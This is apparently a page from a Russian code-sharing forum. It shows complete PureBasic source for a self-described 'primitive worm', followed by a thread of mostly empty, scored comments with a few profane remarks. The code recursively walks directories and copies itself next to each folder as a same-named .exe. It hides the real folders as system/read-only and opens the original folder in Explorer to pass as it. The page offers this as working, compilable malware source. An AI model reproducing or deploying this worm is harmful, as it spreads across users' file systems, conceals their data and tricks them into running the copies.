- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
;********************************************************************
;* Примитивный червь. Распространяется, подменяя собой папки. *
;* Для компиляции в среде PureBasic 5.30 *
;* Автор не несет ответственности за Ваши действия с этим кодом. *
;********************************************************************
Procedure Spread(path.s)
Define finddata.WIN32_FIND_DATA,hFind.l
Define.s fname, ext
Define.l attrs
If Right(path,1) <> "\":path+"\":EndIf
hfind=FindFirstFile_(path+"*.*",@finddata)
If hfind <> -1
Repeat
fname=PeekS(@finddata\cFileName)
If (fname <> ".") And (fname <> "..")
fname=path+fname
attrs=finddata\dwFileAttributes
ext=LCase(GetExtensionPart(fname))
If attrs | #FILE_ATTRIBUTE_DIRECTORY = #FILE_ATTRIBUTE_DIRECTORY
If CopyFile(ProgramFilename(), fname+".exe")
SetFileAttributes(fname,#FILE_ATTRIBUTE_READONLY|#FILE_ATTRIBUTE_HIDDEN|#FILE_ATTRIBUTE_SYSTEM)
SetFileAttributes(fname+".exe",attrs|#FILE_ATTRIBUTE_READONLY)
EndIf
Spread(fname)
EndIf
EndIf
Until Not FindNextFile_(hfind,@finddata)
EndIf
EndProcedure
Procedure Main()
Define.l hm
Define path.s
path=ProgramFilename()
path=Left(path,Len(path)-Len(GetExtensionPart(path)))
If FileSize(path) <> -1
ShellExecute_(0,@"OPEN","EXPLORER.EXE",@path,0,1)
EndIf
hm=OpenMutex_(#MUTEX_ALL_ACCESS,#True, @"mutexname")
If hm<>0
CloseHandle_(hm)
Else
hm=CreateMutex_(0,#True,@"mutexname")
spread(GetCurrentDirectory())
EndIf
EndProcedure
Main()
barop 09.09.2016 21:41 # +996
Elvenfighter 10.09.2016 22:26 # −1
3_26dar 21.10.2016 22:13 # −64
guest 10.09.2016 22:34 # −10
хуёвый
3_26dar 21.10.2016 22:13 # −64
guest 16.09.2016 21:35 # −10
barop 16.09.2016 21:54 # −74
Программируют в кавычках только на пхп и js ;)
SwiftGovno 16.09.2016 22:11 # 0
AH9PEu_KOBAJIEB 16.09.2016 23:06 # 0
Пыль дорог на устах.
И молчит холодный рассвет.
Неужели любовь только на небесах?
Пилигрим знал: конечно, нет!
3_26dar 21.10.2016 22:13 # −64
3_26dar 21.10.2016 22:13 # −64
dsfix 21.10.2016 14:13 # 0
guest8 11.06.2019 01:51 # −999
O4epegHou_nemyx 11.06.2019 08:49 # 0
dsfix 11.06.2019 13:06 # 0
O4epegHou_nemyx 11.06.2019 13:32 # 0
guest8 11.06.2019 17:24 # −999
PA3yMHblu_nemyx 11.06.2019 17:43 # 0
cmepmop 11.06.2019 18:43 # 0
3_dar 09.09.2016 22:30 # −10
bagor 10.09.2016 03:30 # −64
3_26dar 21.10.2016 22:13 # −64
CTEPTOP 10.09.2016 14:12 # −65
Как с тобой связаться?
guest 04.10.2016 02:38 # −11
У маменький персик
guest 14.10.2016 14:36 # −10
passiv 15.10.2016 17:26 # −71
3_26dar 21.10.2016 22:13 # −63
guest8 19.11.2019 02:37 # −999
bormand 19.11.2019 11:27 # 0
тот долбоёб и пидорасик
guest8 19.11.2019 13:02 # −999
XYPO3BO3 19.11.2019 15:05 # 0
CEMEH 19.11.2019 16:09 # 0
3.14159265 19.11.2019 15:20 # 0
barop 21.10.2016 21:38 # 0
fajes_rown 21.10.2016 21:50 # −64
Можете меня забанить.
Dr_Stertor 21.10.2016 21:54 # −64
fajes_rown 21.10.2016 21:55 # −64
Dr_Stertor 21.10.2016 21:55 # −64
guest8 13.03.2019 03:07 # −999
TEH3OPHblu_nemyx 13.03.2019 14:41 # 0
fajes_rown 21.10.2016 21:51 # −64
Dr_Stertor 21.10.2016 22:00 # −63
3_26dar 21.10.2016 22:08 # −65
KOCMOHABT 21.10.2016 22:09 # −64
3_26dar 21.10.2016 22:09 # −63
KOCMOHABT 21.10.2016 22:10 # −64
3_26dar 21.10.2016 22:11 # −64
KOCMOHABT 21.10.2016 22:11 # −64
3_26dar 21.10.2016 22:13 # −64
3_26dar 21.10.2016 22:15 # −64
3_26dar 21.10.2016 22:15 # −63
3_26dar 21.10.2016 22:19 # −64
TAPAC 19.11.2022 23:05 # 0
3_26dar 21.10.2016 22:10 # −64
3_26dar 21.10.2016 22:14 # 0
3_26dar 21.10.2016 22:15 # 0
3_26dar 21.10.2016 22:15 # 0
3_26dar 21.10.2016 22:12 # −64
3_26dar 21.10.2016 22:12 # −64
3_26dar 21.10.2016 22:14 # 0
3_26dar 21.10.2016 22:13 # −64
3_26dar 21.10.2016 22:14 # 0
3_26dar 21.10.2016 22:19 # −64
pdro7 21.10.2016 22:39 # −64
pdro1 21.10.2016 22:39 # −64
3_19dar 21.10.2016 22:43 # −64
Petroh 21.10.2016 22:49 # −64
https://vestniksochi.ru/upload/000/u1/007/1cdedc0d.jpg
Bopmand 21.10.2016 22:58 # −64
barop 22.10.2016 04:45 # −64
voodoodal16 22.10.2016 16:51 # −64
voodoodal16 22.10.2016 19:38 # −64
guest0 22.10.2016 19:45 # −64
cmepmop 11.06.2019 22:45 # 0
guest8 11.06.2019 23:39 # −999
O4epegHou_nemyx 12.06.2019 00:02 # 0
PA3yMHblu_nemyx 12.06.2019 07:59 # 0
CTOMATOJlOr 17.11.2022 00:47 # 0